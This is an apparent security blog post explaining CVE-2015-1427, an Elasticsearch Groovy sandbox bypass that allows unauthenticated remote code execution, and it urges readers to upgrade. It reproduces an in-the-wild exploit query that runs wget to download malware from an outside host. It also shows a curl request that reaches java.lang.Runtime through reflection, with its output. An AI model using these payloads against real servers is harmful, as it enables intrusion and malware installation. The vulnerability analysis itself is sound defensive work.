Remote Code Execution in Elasticsearch - CVE-2015-1427

TL;DR If you have an elasticsearch instance that is publicly available, upgrade to 1.4.3 or later now.

Elasticsearch (the “E” in ELK) is a full-text search engine that makes data aggregation and querying easy. It has an extensive JSON API that allows everything from searching to system management. This post will show how a new vulnerability, CVE-2015-1427, allows attackers to leverage features of this API to gain unauthenticated remote code execution (RCE).

Much of the analysis discovering this vulnerability was originally found on a blog post here (translated). This post aims to translate and provide more detail on the vulnerability.

This Isn’t Elasticsearch’s First Rodeo

One feature of the _search API endpoint is to allow users to submit Groovy code in the search query itself. The server will then execute the code in a sandboxed environment, returning the result to the user. This way, the elasticsearch code can be used to execute… more code1

Allowing anybody to submit server-side code to get executed is a dangerous game to play. In fact, this isn’t the first time Elasticsearch has been bitten by this feature. Elasticsearch pre-1.2 didn’t have a sandbox at all, and allowed anyone to submit code to be executed. Since there are zero authentication controls built into elasticsearch, if the service is exposed to the Internet, anyone can own a server with a query like this:

{"query":
    {"filtered": {
        "query": {"match_all": {}}}},
        "script_fields": {"exp": {
            "script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/malware http://x.x.x.x/malware \").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"
    }}}

Fun fact! This is an actual exploit attempt I’ve seen on my server.

This isn’t anything new. In fact, there’s a Metasploit module that makes this easy.

Starting with version 1.3, Elasticsearch allowed sending Groovy scripts in the query again. However, they added a sandbox to control what classes and functions can be executed.

Let’s take a quick look at how the sandbox works to get a feel for how it can be exploited.

How the Sandbox Works

The functions and classes that are allowed by the sandbox are found in GroovySandboxExpressionChecker.java. Looking at the code, we notice the function isAuthorized. This function takes in an expression and checks to see if it is allowed to be executed.

Without going through everything the sandbox does, here’s the important part of the function:

if (expression instanceof MethodCallExpression) {
    MethodCallExpression mce = (MethodCallExpression) expression;
    String methodName = mce.getMethodAsString();
    if (methodBlacklist.contains(methodName)) {
        return false;
    } else if (methodName == null && mce.getMethod() instanceof GStringExpression) {
        // We do not allow GStrings for method invocation, they are a security risk
        return false;
    }
    //snip
}

This is the condition that checks to see if our method call is allowed to be executed. There are two checks we need to bypass in order to make this happen:

if (methodBlacklist.contains(methodName))

The methodBlacklist contains the following method calls that we can’t use:

public static String[] defaultMethodBlacklist = new String[]{
    "getClass",
    "wait",
    "notify",
    "notifyAll",
    "finalize"
};

Ok, so we can’t use any of those. Next, we need to make sure that our method name isn’t null, and we don’t use a GStringExpression. No problem.

There’s one more hurdle that we have to overcome. This sandbox also restricts the packages that can have methods called on them (from SecureASTCustomizer.java):

if (receiversWhiteList != null && !receiversWhiteList.contains(typeName)) {
    throw new SecurityException("Method calls not allowed on [" + typeName + "]");
} else if (receiversBlackList != null && receiversBlackList.contains(typeName)) {
    throw new SecurityException("Method calls not allowed on [" + typeName + "]");
}

The whitelist for elasticsearch is found in the variable defaultReceiverWhitelist:

private final static String[] defaultReceiverWhitelist = new String [] {
    groovy.util.GroovyCollections.class.getName(),
    java.lang.Math.class.getName(),
    java.lang.Integer.class.getName(), "[I", "[[I", "[[[I",
    //snip
};

On the surface, this eliminates our ability to call any methods on interesting packages, such as java.lang.Runtime, which could be used to execute system commands. However, there’s a way we can bypass both the package whitelist and the method blacklist to execute our code. This is done through a tricky Java feature called reflection.

Bypassing the Sandbox with Reflection

Vulnerabilities can often be reverse-engineered by inspecting the patches since the previous release. The commit that we will look at is here. The changes in this commit give us some hints about how we can exploit the vulnerability:

This makes it pretty clear that we can probably do something with the .class and .forName() method calls. These methods, chained together, allow us to take one package class (such as one found in the whitelist) and use it to load a reference to a completely separate class (such as java.lang.Runtime) via reflection.

So what does this look like?

Let’s see if we can load the java.lang.Runtime package by using reflection off of the java.lang.Math package, which is in the whitelist of packages we can use:

$ curl http://localhost:9200/_search?pretty -XPOST -d '{"script_fields": {"myscript": {"script": "java.lang.Math.class.forName(\"java.lang.Runtime\")"}}}'

{
  <snip>
  "hits" : {
    "total" : 8,
    "max_score" : 1.0,
    "hits" : [ {
      <snip>
      "fields" : {
        "myscript" : [ "class java.lang.Runtime" ]
      }
    }
}}

Success! We can see the result of our query returned an instance of the java.lang.Runtime class. We can use this instance to execute system commands on the server.

I won’t provide a full proof-of-concept, but all the pieces are here. Using a mix of the first exploit shown above along with the way I’ve shown to get a reference to the java.lang.Runtime package, it is pretty straightforward to run whatever commands you want.

Conclusion

This vulnerability was not heavily advertised, but it is absolutely critical. In fact, I had one of my own elasticsearch instances compromised this way, showing this vulnerability is heavily being exploited in the wild.

Elasticsearch recommends to only allow the software to be accessed locally, but there are a ton of publicly available ES instances. This is likely because the default configuration listens on 0.0.0.0:9200.

If you use elasticsearch, and haven’t upgraded to 1.4.3 (or the latest 1.4.4), I recommend upgrading immediately.

As always, let me know if you have any questions or comments below!

Jordan (@jw_sec)

1 There’s an Xzibit joke to be made here.